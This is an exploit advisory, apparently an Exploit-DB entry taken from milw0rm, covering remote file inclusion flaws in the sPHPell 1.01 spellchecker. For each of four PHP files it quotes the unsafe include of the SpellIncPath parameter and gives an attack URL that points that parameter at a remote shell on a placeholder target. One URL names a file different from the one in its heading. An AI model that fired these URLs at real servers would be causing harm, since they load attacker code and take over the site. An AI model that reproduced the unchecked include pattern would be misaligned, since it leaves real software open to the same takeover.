sPHPell 1.01 - Multiple Remote File Inclusions

Author: Mehmet Ince
type: webapps
platform: php
port: nan
date_added: 2007-06-29 
date_updated: 2016-10-05 
verified: 1 
codes: OSVDB-38967;CVE-2007-3522;OSVDB-38966;OSVDB-38965;OSVDB-38964 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsphpell.tar.gz

sphpell - 1.01 Remote File Include
---------------------------------------------------------------------------------
Bulan: Cyber-security // Cyber-security.org
---------------------------------------------------------------------------------
script download:http://sourceforge.net/project/showfiles.php?group_id=82330

---------------------------------------------------------------------------------
ERROR [1];spellcheckpageinc.php?

              include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/checkpageinc.php?SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [2];spellchecktext.php?

                   include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellchecktext.php? SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [3];spellcheckwindow.php?

                        include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellcheckwindow.php?SpellIncPath=5h3LL
---------------------------------------------------------------------------------
ERROR [4];spellcheckwindowframeset.php?

                     include($SpellIncPath."spellcheckvars.php");

BUG:       www.target.com/spellcheckwindowframeset.php?SpellIncPath=5h3LL

---------------------------------------------------------------------------------
d0rk: :(

# milw0rm.com [2007-06-30]